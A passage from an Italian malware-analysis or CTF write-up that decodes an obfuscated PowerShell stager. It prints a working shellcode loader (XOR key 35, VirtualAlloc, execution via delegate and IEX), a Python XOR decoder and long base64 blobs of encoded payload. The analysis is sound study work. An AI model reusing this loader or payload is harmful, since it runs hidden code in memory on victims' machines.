yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI29MQEJPf1p
sdlJxG2pQe0lZe3l5bEhmbhFAIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI29MQEJPf3prek9UTFBAaRNCF3lRZ3YVU1pQIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjUVZNR09PEBENRltGIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjM
yMjFyMjI7MTuxOYE/ATwRPTEykSNxI9EgsSExKLEpUS9xLKEtUSKhEzET0RcxF5ESMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
Iw==

')

```
for ($x = 0; $x -lt $var_code.Count; $x++) {

        $var_code[$x] = $var_code[$x] -bxor 35

}


$var_va =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address
kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32])
([IntPtr])))

$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)


$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer,
(func_get_delegate_type @([IntPtr]) ([Void])))

$var_runme.Invoke([IntPtr]::Zero)

'@


If ([IntPtr]::size -eq 8) {

        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job

}

else {

        IEX $DoIt

}
```

Quello che possiamo notare è che:

- Ancora una volta abbiamo a che fare con uno script powershell, che al suo interno contiene un ulteriore payload, ancora una volta base64-encoded
- Il nuovo flag è 35: `$flag = 35`
- Il payload è stato ulteriormente codificato attraverso una XOR bitwise proprio utilizzando il numero 35:

```
for ($x = 0; $x -lt $var_code.Count; $x++) {

        $var_code[$x] = $var_code[$x] -bxor 35

}
```

- che la struttura del payload appare avere una certa regolarità

Ciò che dovremmo fare, a questo punto, sarà:

- ancora una volta decodificare il nuovo payload sempre attraverso il base64;
- invertire la codifica effettuata attraverso lo XOR con 35 dei bit, riapplicando nuovamente lo XOR 35

Per aiutarci nell'ultimo passaggio, ossia l'applicazione dell'operazione di bitwise XOR, si può usare un piccolo script in python, che abbiamo chiamato **xor.py** come il seguente, ad esempio:

```
import sys

def xor_string(message, key):

    list_temp = bytearray(message)

    for x in range(len(list_temp)):

        list_temp[x] = (list_temp[x] ^ key)

    return list_temp


data = sys.stdin.read()

print(bytes(xor_string(data, 35)))
```

Possiamo dare allora il seguente comando:

```
echo
```

bnmzIyAjIyMnIyMj3NwjI5sjIyMjIyMjYyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMj6yMjIy08mS0jlyruApsib+4Cd0tKUANTUUxEUUJOA0BCTU1MVwNBRgNRVk0D
Sk0DZ2xwA05MR0YNLi4pByMjIyMjIyN2eyXEMhpLlzIaS5cyGkuXaXJKljEaS5cyGkqXPx
pLl7RqT5YzGkuXtGpJljMaS5dxSkBLMhpLlyMjIyMjIyMjIyMjIyMjIyNzZiMjbyInI8bE
kXwjIyMjIyMjI8MjIQIoIi05IycjIyM5IyMjIyMjYzIjIyMzIyMjAyMjIyMjMyMzIyMjIS
MjJSMjIyMjIyMlIyMjIyMjIyNDIyMjJyMjIyMjIyEjYyYjIzMjIzMjIyMjMyMjMyMjIyMj
IzMjIyMjIyMjIyMjIysCIyMLIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI3MjIxcjIy
MbAyMjPyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjAyMj
GyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw1XRltXIyMjRiEjIyMzIyMjJyMjIycjIy
MjIyMjIyMjIyMjIwMjI0MNUUdCV0IjI0MhIyMjAyMjIycjIyMrIyMjIyMjIyMjIyMjIyNj
IyNjDUdCV0IjIyM6MSMjIxMjIyM3IyMjLyMjIyMjIyMjIyMjIyMjYyMj4w1RRk9MQCMjFy
MjIyNzIyMjISMjIwMjIyMjIyMjIyMjIyMjI2MjI2EjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI3aoz6DPK6hmK6pm2+Rm3yMjIyPkZt8jIyMj
yCqobt+g4iKqbt+odt8Ydi9QMqhm2+UjI6hu26DiIqpu28j9qMZ+4O/v7+/v7+/v7+/v7+
/vdqjPos8HICMjSWeuZotzy7/c3Nyg5yvkZotnIyMjy94jIyOm4yynkiMjI65uz3Kudotx
SSNJI0lnSSJJI0kjSy9hIzNJI9w2PwMjM6bjLKerIyMj5Kb/39zcICMiI66m/9/c3HOobt
Ny3DYDAyMzSWNLIzMjI0sjMyMjSSOods9x3DYLAyMzqmbfSSNLIzMjI0sjEyMzqGbfc6hu
z3LcNg8DIzOodt+qtrfe3Nyupv/f3NxzqG7Tctw2BwMjM6h203HcNjsDIzOoZtNz3DYjAy
MzqG7Pctw2IwMjM0kj3DY3AyMzqMZ+4O/v7+/v7+/vdqjPcqhmL6pm36Be3yJXIcgmy9rd
3NybIiMjI6jGfuEvI+/v7+/v7+/v7+/v7+/vdqjPoM8/5GbXIiMjI+Rm0yMjIyPkZt8jIy
Mj5GbbIyMjI+Rmxy8jIyPkZssjIyMj5GbPIiMjI0sjYyMzSSJJIq5mx3PcNhMDIzOqZt+g
Xt8jViHIVuRm1yMjIyNJI6hu33LcNisDIzMeISIjI1YhyHrkZtMiIyMjSytiIzNJIksjIz
Ej3DYzAyMzqmbboF7bI1cvqHbbcdw2IwMjM8gISytiIzNJIkkirmbHc9w2LwMjM6pm26Be
2yNXJORm1yIjIyMQ6iymTtzc3KBe3yNXPaBe0yNXLUkjSSKodt9x3DYnAyMzqGbfc9w2Iw

MjM6hm16jGfuAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
NLAiMjVQIjI6kCIyODAiMjkwIjI50CIyPvAiMj/wIjI80CIyMhASMjNQEjIwsBIyMdASMj
IyMjIyMjIyPGxJF8IyMjIy4jIyOXIyMjdwMjI3crIyMjIyMjIzMjI0YhIyMNV0ZbVwdOTS
MjIyMjAyMjGyMjIw1KR0JXQgcWIyMjIxsDIyM/IyMjDVFHQldCIyN3AyMjlyMjIw1RR0JX
QgdZWVlHQUQjIyMrAiMjNyMjIw1KR0JXQgcRIyMjIz8CIyM3IyMjDUpHQldCBxAjIyMjEw
IjIxsjIyMNSkdCV0IHFyMjIyNLAiMj2yMjIw1KR0JXQgcVIyMjIyMTIyM6MSMjDUdCV0Ij
IyMTAiMjIyMjIyMjIyNxASMjIwMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjSwIjI1UCIyOpAi
MjgwIjI5MCIyOdAiMj7wIjI/8CIyPNAiMjIQEjIzUBIyMLASMjHQEjIyMjIyOlI2BPTFBG
a0JNR09GI5cncUZPRkJQRnBGTkJTS0xRRiMj9CZ0QkpXZUxRcEpNRE9GbEFJRkBXI58jYF
FGQldGZlVGTVdiIyMjJ2xTRk1mVUZNV2IjI3wiZltKV3dLUUZCRyMj7idxRlBWTkZ3S1FG
QkcjI8MjYFFGQldGc1FMQEZQUGIjI9QhZEZXd0tRRkJHYExNV0ZbVyMjdyZwRld3S1FGQk
dgTE1XRltXIyPkJnVKUVdWQk9iT09MQGZbIyM4JXRRSldGc1FMQEZQUG5GTkxRWiMjyiNg
UUZCV0ZwRk5CU0tMUUZiIyNoZnFtZm8QEQ1HT08jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj38usIyMjQ6rGEvFHqHETqHEvqHE3LJRpBR
LcqFELEuOPH0JfIQ8D4uwuIuRqVsxxqHEzqGEfIvN0qGNbpuNXbyLzqGs7qHsDcyLwpupX
H2oS3KgXqCL1EuPi7C6PIuQbw1bXIF7bGF4HVsN7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBw
d4eEJ6eXLcw3t8eagxyqPc3Nx+S01GVyNLVEpNSndLb1QFJNz2EvhwcHBwcMsdIyMjbkxZ
Sk9PQgwWDRMDC3RKTUdMVFADbXcDFQ0SGAN3UUpHRk1XDBQNExgDUVUZEhINEwoDT0pIRg
NkRkBITCNLGXVahNz2cHBJIHBwS5giIyPLmyMjIwxORnxGVUpPfEdGVUpPDBsVYEVQFGZi
UndTUlB0VlRgUE1WeXJXR21ic0JTT3poaG5EQUJrTlp8W1sVSyNzS3SqvOXc9qrlcEsjIU
uncHBwdHB1S8h2DRjc9rVJKXxwcHBwdUsOJTtY3Pam41Y3S6swIyNLZ9MWw9z2bFbCy3Ej
IyNJY0sjMyMjSyMjYyNwS3uHcMbc9rBwcKrEdEsjAyMjcHVLMbWqwdz2puNX7KgkIuCm41
bGe+B8y1zc3NxOQldRSkxQSEINUFRCUEBCTQ1ATE4jmNOWgXVJI3Dc9iMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy

MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy

```
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI29MQEJPf1psdlJxG2pQe0lZe3l5bEhmbh
FAIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI29MQEJPf3prek9UTFBAaRNCF3lRZ3YV
U1pQIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjUVZNR09PEBENRltGIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
